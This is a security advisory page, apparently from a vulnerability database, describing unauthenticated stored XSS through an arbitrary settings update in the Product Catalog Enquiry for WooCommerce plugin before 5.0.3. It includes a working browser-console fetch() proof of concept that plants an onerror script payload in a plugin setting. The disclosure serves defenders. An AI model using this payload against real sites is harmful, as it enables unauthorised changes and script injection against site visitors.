Lucene search

K
wpexploitKrzysztof Zając (CERT PL)WPEX-ID:B37B09C1-1B53-471C-9B10-7D2D05AE11F1
HistoryNov 21, 2023 - 12:00 a.m.

Product Catalog Enquiry for WooCommerce < 5.0.3 - Unauthenticated Stored XSS via Arbitrary Setting Update

2023-11-2100:00:00
Krzysztof Zając (CERT PL)
58
product catalog enquiry
woocommerce
unauthenticated stored xss
arbitrary setting update
catalog mode
malicious script

AI Score

6

Confidence

High

EPSS

0.001

Percentile

30.3%

Description The plugin does not properly authorize settings updates or escape settings values, leading to stored XSS by unauthenticated users.

1) Make sure the plugin is configured with the "Catalog Mode" activated.
2) Launch the following from your browser's console:

```
fetch("http://vulnerable-site.tld/wp-json/mvx_catalog/v1/save_enquiry", {"headers": {"content-type": "application/json",},  "body": " {\"model\":{\"from_loading\":true,\"statedrop\":[],\"errordisplay\":\"Settings Saved\",\"complete_option_value\":[],\"button_type\":{\"value\":\"4\",\"label\":\"No Link Just #\",\"index\":3},\"is_button\":[\"is_button\"],\"custom_hover_background_color\":\"#0}</style><img src=x onerror=alert(7)>\",\"woocommerce_catalog_enquiry_button2_settings\":\"\",\"custom_css_product_page\":\"BBBBBBB00\"},\"modulename\":\"button-appearance\"}","method": "POST","mode": "cors","credentials": "include"});
```

3) Visit a product page

AI Score

6

Confidence

High

EPSS

0.001

Percentile

30.3%

Related for WPEX-ID:B37B09C1-1B53-471C-9B10-7D2D05AE11F1